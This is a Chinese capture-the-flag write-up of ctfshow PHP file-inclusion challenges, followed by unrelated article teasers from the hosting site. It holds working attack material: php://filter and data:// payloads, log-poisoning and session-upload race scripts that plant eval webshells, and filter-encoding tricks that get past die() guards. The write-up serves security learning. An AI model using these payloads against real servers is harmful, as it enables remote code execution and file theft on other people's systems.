ctfshow-文件包含

news2024/11/13 9:24:05

web78

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

判断是否存在file参数 如果存在 将包含这个参数值 文件

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

filter伪协议

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

file=php://filter/convert.base64-encode/resource=flag.php

base64解码即可

data伪协议 简单理解就是执行自定义代码 

c=data://text/plain,<?php system('tac fla?.php');?>

web79

<?php


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

严格一点点 参数值中不能存在php字符

方法一

使用data伪协议 可以不使用正常的php标签 使用段标签即可 然后使用*代替php

file=data://text/plain,<?=system('tac fl*');?>

方法二

GET POST 联合使用

file=data://text/plain,<?=eval($_POST[1]);?>
POST 1=system("tac flag.php");

web80

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

要求更严格了 data协议不能使用了

那就是用日志方式

日志地址

/var/log/nginx/access.log

插入User-Agent值为

<?php eval($_POST[1]);?>

访问 日志地址 post参数1=system("ls"); 查看当前目录下文件有哪些 查看到有个fl0g.php文件

查看fl0g.php文件内容

web81

<?php


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

更严格一点不能使用冒号 但是貌似没影响 与web80同理

web82

参考b站视频以及session包含/反序列化

 参考

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

禁用了. 导致上一题的日志包含也不行了 只能使用session包含了 ,php里面 唯一我们能控制的无后缀的就是session,需要用到到php_session_upload_progress参数,这个参数是为了获得这个文件上传进度的实时参数

这道题没开启session 如何创建session文件呢? 我们如果只要上传一个cookie 键是sessid 值任意 这样提交后 php会在默认session目录中创建一个 sess_aaa的文件 路径基本上为/tmp/sess_aaa  既然有个session相关文件了 服务器也就自动初始化session了

 这么文件名字我们是可以控制的 可以控制aaa  所以这道题如果只能包含无后缀的 那就可以包含这个session的临时文件

现在文件名字 我们控制了 如何控制文件内容呢

控制文件内容我们需要PHP_SESSION_UPLOAD_PROGRESS 这个参数是获取实时文件上传进度的  我们控制这个参数 来写我们指定内容 通过指定该参数的post值 会拼接默认名字写进去(这句话现在不理解 一会回头看一下) 刚刚群主举个例子 如果PHP_SESSION_UPLOAD_PROGRESS值为123 则知道 /tmp/sess_aaa的内容为123

现在前提都准备好了 但是session临时文件在文件全部上传成功后就会被删除 这时需要session竞争  在文件还没被删除的时候 访问到这个文件  简单理解就是 大量的上传同一个文件 持续访问某个session文件  该脚本 就是开启5个多线程  持续的发送 为何要开启多线程呢?正常情况下开启一个线程也是可以的 但是一般都竞争不出来 都是开启进程让提交的速度加大 访问的速度加大

再简单理解这个线程就是 每秒提交1次文件 和访问1次 因为提交的速度特别快 还没等访问呢 文件就被删除了 如果每秒提交1000次文件 和访问1000次 这样就大大加大访问成功的概率这个不代表

访问第500次的时候是访问第500次提交的文件 而是可能访问到的是第400次提交文件时生成的文件

这里我开五个线程很快就能出结果  我试了一下开20个进行 一瞬间就出结果了

import requests
import threading
import io
a=0
url = "http://6db55daa-3871-4fd6-b564-8e6289806146.challenge.ctf.show/"
sessID = 'tzy'
data = {
    "1": "file_put_contents('/var/www/html/8.php', '<?php eval($_POST[2]);?>');"  # read()中需要post的内容
}
def write(session):
    global a
    fileBytes = io.BytesIO(b'a' * 50)#定义一个大小为50kb的文件赋值给fileBytes变量中
    # 解释一下使用while循环的原因 当前函数现在开启了5次线程 也就是说 同时会向服务器提交五次write函数 如果不设置循环 也就相当于同意时间只提交五次函数 就退出程序了
    # 如果在函数内部定义while循环 这样就能做到 持续进行 每次提交五次函数 换位思考也就是说 提交五次函数 每一次都是一个循环 这五个都是循环 也就能做到 持续性多线程
    # 这种方法 和在线程外部加入一个while循环一个意思
    while True:
        if a:
            break
        #使用传进来的session对象执行post提交请求
        res = session.post(url,
                           data={
                               'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
                               # 改参数的值就是/tmp/sess_tzy文件的内容
                           },
                           cookies={
                               "PHPSESSID": sessID
                           },
                           files={
                               'file': ('tzy.png', fileBytes)
                           }
                           )
        #print(res.request.headers)
        #print(res.request.body)
def read(session):
    global a
    while True:
        res1 = session.post(url + '?file=/tmp/sess_' + sessID, data=data,
                            cookies={
                                "PHPSESSID": sessID
                            })
        res2 = session.get(url + '8.php')
        if res2.status_code == 200:
            print("+++done+++")
            a=1
            break
        else:
            print(res2.status_code)
if __name__ == '__main__':
    # 开启多线程 直接解释代码 python会同时提交五次write函数 和五次read函数
    event = threading.Event()  # 开启多线程的对象
    # 这个session对象 是requests.session()类的实例化
    # request.session 包含 request.request的功能 比如get() post()
    # 而session这个类还可以自动处理cookie 会自动地处理与会话相关的内容,比如 cookies 的保存和发送
    # Session 对象的优势在于它会在整个会话中自动管理 cookies,并在多个请求之间共享 cookies 和会话状态。
    # 这意味着你只需要在第一个请求中设置 cookies,后续的请求会自动使用相同的 cookies
    with requests.session() as session:
        for i in range(5):  # 开5个线程 执行write函数传入session对象最为参数
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()

        event.set()  # 唤醒线程

获得flag

web83

<?php
session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
}

在程序前销毁session的全部变量 以及全部数据  没影响 我们直接加入cookie服务器识别出来存在session id后自动就初始化session了  同web82一样

web84

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

好狗直接把临时目录的文件全部删除了 但是发现不影响呀

本身 session.upload_progress.cleanup = on 会清空对应 session 文件中的内容 

再加上一条删除文件 影响不大 加快请求速度呗 不加快5多线程也行    反正记住就行 无论他删不删对我们都没影响 因为啥就算这个请求执行到删除了 然后执行包含 如果在执行include前0.001s又生成了一个临时文件 她依旧是可以包含的 最坏的情况 无非也就是加快线程呗 加快速度

web85

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }
    
}else{
    highlight_file(__FILE__);
}

说实话这道题 我挺蒙 哪怕多线程为什么能绕过die呢 每个线程都能匹配到die呀 原来这道题开多线程和上一题开多线程 能成功的原因 不一样 这一道题开5不行 开20可以 是因为 在高并发/高线程的情况下 有个特性就是竞争 而竞争会导致很多的不确定性 比如这道题在执行die的时候 因为多线程抢占资源的原因 可能会导致die还没执行成功呢 include就已经被执行成功了 

web86

<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

定义了文件包含指定目录 也就是说想要包含的文件必须在指定目录下 否则包含不成功

难道还是要利用高线程导致竞争从而还没定义目录位置 就已经执行include了吗? 查看一下其他师傅的wp

结果是是这个原因 include包含的文件如果存在路径 他会按照指定路径查找文件 如果只存在文件名不存在路径 include首先会去定义的位置进行寻找文件 没有则在当前文件所在的目录和当前工作目录下寻找 所以不影响我们 线程5应该就可以了 不需要高并发导致的不确定行为 而是普通的和服务器删除速度来竞争 不是高并发的竞争

的确我说对了

注意:早session包含中

这里说一下 提交请求后的请求体是 不是想象的那种post 键值对的形式 而是表单的形式PHP_SESSION_UPLOAD_PROGRESS 也在表单中 这块的简单知识点 有时间得看看

<!DOCTYPE html>
<html>
<body>
<form action="http://26bfc8ed-f28a-46ef-94a6-bbff5bb92e6b.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

web87

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
    
}else{
    highlight_file(__FILE__);
}

参考p神文章

file_put_content和死亡·杂糅代码之缘

方法一使用 过滤器中的base64 解码绕过 将死亡函数进行解码 变为非法字符

file=php://filter/write=convert.base64-decode/resource=hello.php

在base64解码中 每四个字符为一组解码为三个字符 并且只有字母为解码的字符 phpdie为6个 需要在$content前任意添加两个字符 

content=abPD8gcGhwaW5mbygpOz8+

将file参数的值进行url全编码使用bp

从浏览器到服务器 他会自动进行一次解码 为什么要两次编码呢?两点 第一点本身写文件的时候他会解码一次 第二点在过滤的时候 如果不进行二次url编码 他会把关键词换成问好 这两点同时满足 这样两次url编码就可以了 

验证成功 同理 换content的值即可得到flag

方法二使用 过滤器中的rot13 编码绕过 解码绕过 将死亡函数进行解码 变为非法字符

和base64同理 

现将payload进行rot13编码

file=php://filter/write=string.rot13/resource=hello2.php

concent=<?cuc cucvasb();?>

死亡代码<?php die('大佬别秀了');?>已经被解码为<?cuc qvr('大佬别秀了');?>

这里有个问题如果服务器开启了可以使用短标签那么服务器就会解析该短标签了 我们的payload就不会被执行了  就不能使用这种方法了 因为该解码方式不会解码<?等符号 并且会原封不动的写入到文件中

web88

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

使用data伪协议

因为过滤了 php那就使用base编码 有的时候如果base编码后出现= 或者 +号 也会被过滤掉 在后方加入1来混淆

比如

<?php echo `ls`?>和<?php system('ls'); ?> 一个意思

?file=data://text/plain;base64,PD9waHAgZWNobyBgbHNgPz4xMTEx

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwqJyk/PjEx

web116

开局一个视频 无法查看源码 下载视频 使用010打开 搜索各种文件的标头标识 发现 存在PNG文件

PNG图片以IEND结尾 复制粘贴到新建十六进制文件 另存1.PNG

打开图片后

源码文件的意思就是读取一个文件 输出到浏览器中 

在浏览器中虽然不能右键查看源码 但是可以使用view-source:

那就读取 flag.php(只能一个一个尝试)

web117

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

不能使用base64和rot13解码绕过了 把一句话木马从UCS-2LE编码转换为UCS-2BE编码。

其实关键的不是两种编码方式(这两个编码方式可以换位置) 这两种编码方式都是一样的 不会改变任何字符 关键的是iconv这个函数 他可以进行两个字符反转一次(切记 需反转的字符必须是2的整数倍 否则报错,如果报错可以通过修改密码 增加字符 或者在后面再加上任意一个字符 反正服务器也不解析)

<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[aa]);?>');
echo "payload:".$result."\n";
?>
#?<hp pe@av(l_$OPTSa[]a;)>?

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hello.php

contents=?<hp pe@av(l_$OPTSa[]a;)>?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2121095.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

中来股份深陷股权冻结

撰稿|多客 来源|贝多财经 近日&#xff0c;苏州中来光伏新材股份有限公司&#xff08;下称“中来股份”&#xff0c;SZ:300393&#xff09;新增一则被执行人信息。其中&#xff0c;立案时间为2024年9月5日&#xff0c;立案法院为江苏省苏州市中级人民法院&#xff0c;执行标的…

dubbo 服务消费原理分析之应用级服务发现

文章目录 前言一、MigrationRuleListener1、迁移状态模型2、Provider 端升级3、Consumer 端升级4、服务消费选址5、MigrationRuleListener.onRefer6、MigrationRuleHandler.doMigrate6、MigrationRuleHandler.refreshInvoker7、MigrationClusterInvoker.migrateToApplicationFi…

多维时序 | Matlab基于SSA-SVR麻雀算法优化支持向量机的数据多变量时间序列预测

多维时序 | Matlab基于SSA-SVR麻雀算法优化支持向量机的数据多变量时间序列预测 目录 多维时序 | Matlab基于SSA-SVR麻雀算法优化支持向量机的数据多变量时间序列预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab基于SSA-SVR麻雀算法优化支持向量机的数据多变…

【绿盟科技盟管家-注册/登录安全分析报告】

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 暴力破解密码&#xff0c;造成用户信息泄露短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造成亏损无底洞…

[答疑]京酱肉丝可以提炼成一个类吗?

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集 &#xff08;匿&#xff09; 2024-9-3 15:02 老师&#xff0c;我也经常遇到这样的困惑&#xff0c;领域概念应该提炼到什么层次&#xff0c;像京酱肉丝什么条件下可以定成子类&#x…

百元以下蓝牙耳机性价比之王品牌?四大高能性价比机型推荐

面对市场上琳琅满目的蓝牙耳机品牌和型号&#xff0c;消费者往往难以抉择&#xff0c;特别是当预算限定在百元以下时&#xff0c;找到一款既满足基本功能又具备一定品质的蓝牙耳机变得尤其困难&#xff0c;那么百元以下蓝牙耳机性价比之王品牌&#xff1f;尽管价格是一个重要的…

位运算+前缀和+预处理,CF 1017D - The Wu

目录 一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 二、解题报告 1、思路分析 2、复杂度 3、代码详解 一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 1017D - The Wu 二、解题报告 1、思路分析 我们注意到 sum(w[])会很大但…

JKTECH柔性振动盘智能柔性上料机

柔性振动盘&#xff1a;重塑自动化上料新纪元 在快速发展的智能制造领域&#xff0c;面对复杂多变的物料需求&#xff0c;传统的上料方式已难以满足高效、精准、灵活的生产要求。柔性振动盘&#xff0c;作为自动化上料技术的革新者&#xff0c;正以其独特的优势&#xff0c;引…

comfyui攻略:故障报错应对指南!

前言 ComfyUI的常见故障和解决&#xff0c;赶紧收藏起来&#xff0c; 在探索ComfyUI的曲折旅途中&#xff0c;最让人心生畏惧的莫过于那漫天的红色方框和层出不穷的报错信息。它们如同不息的风暴&#xff0c;一波未平&#xff0c;一波又起&#xff0c;令无数热忱的初学者在这…

Dart 3.5更新对普通开发者有哪些影响?

哈喽&#xff0c;我是老刘 Flutter 3.24以及Dart 3.5不久前发布了。 突然觉得时间过得好快。六年前刚开始使用Flutter 1.0的场景还在眼前。 之前写了一篇文章盘点Flutter 3.24的新功能对普通开发者有哪些影响。Flutter 3.24 对普通开发者有哪些影响&#xff1f;https://mp.wei…

两个方法,设置Word打开密码!

想要保护word文件中的内容&#xff0c;我们可以给文件设置一个打开密码&#xff0c;这样只有知道密码的人才能够打开查看文件&#xff0c;今天分享两个word文件设置打开密码的方法。 方法一&#xff1a; 打开word文档后&#xff0c;点击【文件】-【信息】-【保护文档】这里有…

推荐让你事半功倍的5款实用软件

​ 今天我要向大家推荐5款超级好用的效率软件&#xff0c;无论是在学习还是办公中都能够极大地提高效率。这些软件可以帮助你解决许多问题&#xff0c;而且每个都是真正的神器。 1. 音乐管理——MusicBee ​ MusicBee是一款功能强大的音乐管理和播放软件&#xff0c;适合音乐…

STM32CubeMx学习笔记——GPIO使用

一、新建工程 1、选择芯片型号 2、配置时钟RCC 选择 HSE(外部高速时钟) 为 Crystal/Ceramic Resonator(晶振/陶瓷谐振器) ​ 3、时钟树配置 在clock Configuration中将HCLK配置为最高频率然后回车 ​ 4、选择调试模式 SYS 设置&#xff0c;选择 Debug 为 Serial Wire …

iOS开发者新技能:将Flutter集成到你的原生应用中

如何在iOS原生项目中嵌入Flutter 一、创建一个新的iOS项目 首先&#xff0c;在 Xcode 中创建一个新的 iOS 项目&#xff0c;选择 Swift 作为开发语言&#xff0c;因为它的语法简洁&#xff0c;易于理解。 二、打包Flutter项目 在将 Flutter 模块集成到 iOS 项目之前&#xf…

Windows conda常用方法

这里写目录标题 conda链接jupyter conda链接jupyter 列出当前所有环境&#xff1a; conda env list 创建新环境&#xff1a; conda create -n your_env_name pythonX.X&#xff08;2.7、3.6、3.8等&#xff09; 激活环境&#xff1a; conda activate your_env_name 链接jupyte…

大模型微调有必要做吗?LoRa还是RAG?

我需要对大模型做微调吗&#xff1f; 想自定义大模型时&#xff0c;选择&#xff1a;微调还是RAG还是ICL&#xff1f; 需要对大模型做微调&#xff1f; 在人工智能的世界里&#xff0c;大型语言模型&#xff08;LLM&#xff09;已经成为了我们探索未知、解决问题的得力助手。…

uniapp业务实现

uni.requset添加异常判断提示,以及加载动画 /*** 该函数用于发送网络请求获取数据* 请求失败时会弹出相应的错误提示* 请求成功时会检查返回的数据是否存在错误&#xff0c;并根据错误代码做出相应处理* 如果数据请求成功且无错误&#xff0c;则将返回的数据赋值给pets变量*/fu…

NVIDIA Triton Inference Server 部署 yolov5

文章目录 一、拉取 tensorrt 、yolov5、tritonserver 镜像二、下载 yolov5-6.2、tensorrtx/yolov5-6.2源码三、pt转wts四、wts转engine五、创建triton推理服务器六、创建客户端进行测试 一、拉取 tensorrt 、yolov5、tritonserver 镜像 docker pull hakuyyf/tensorrtx:trt8.2_…

群晖NAS本地部署Photopea在线图片PS编辑工具

文章目录 前言1. 部署Photopea2. 运行Photopea3. 群晖安装Cpolar4. 配置公网地址5. 公网访问测试6. 固定公网地址 前言 本文主要介绍如何在群晖NAS本地部署Photopea在线图片PS编辑工具&#xff0c;并结合cpolar内网穿透实现公网环境远程访问本地部署的Photopea处理图片. Phot…

JAVA开源项目 员工绩效考核系统 计算机毕业设计

本文项目编号 T 021 &#xff0c;文末自助获取源码 \color{red}{T021&#xff0c;文末自助获取源码} T021&#xff0c;文末自助获取源码 目录 一、系统介绍1.1 业务分析1.2 用例分析 二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行…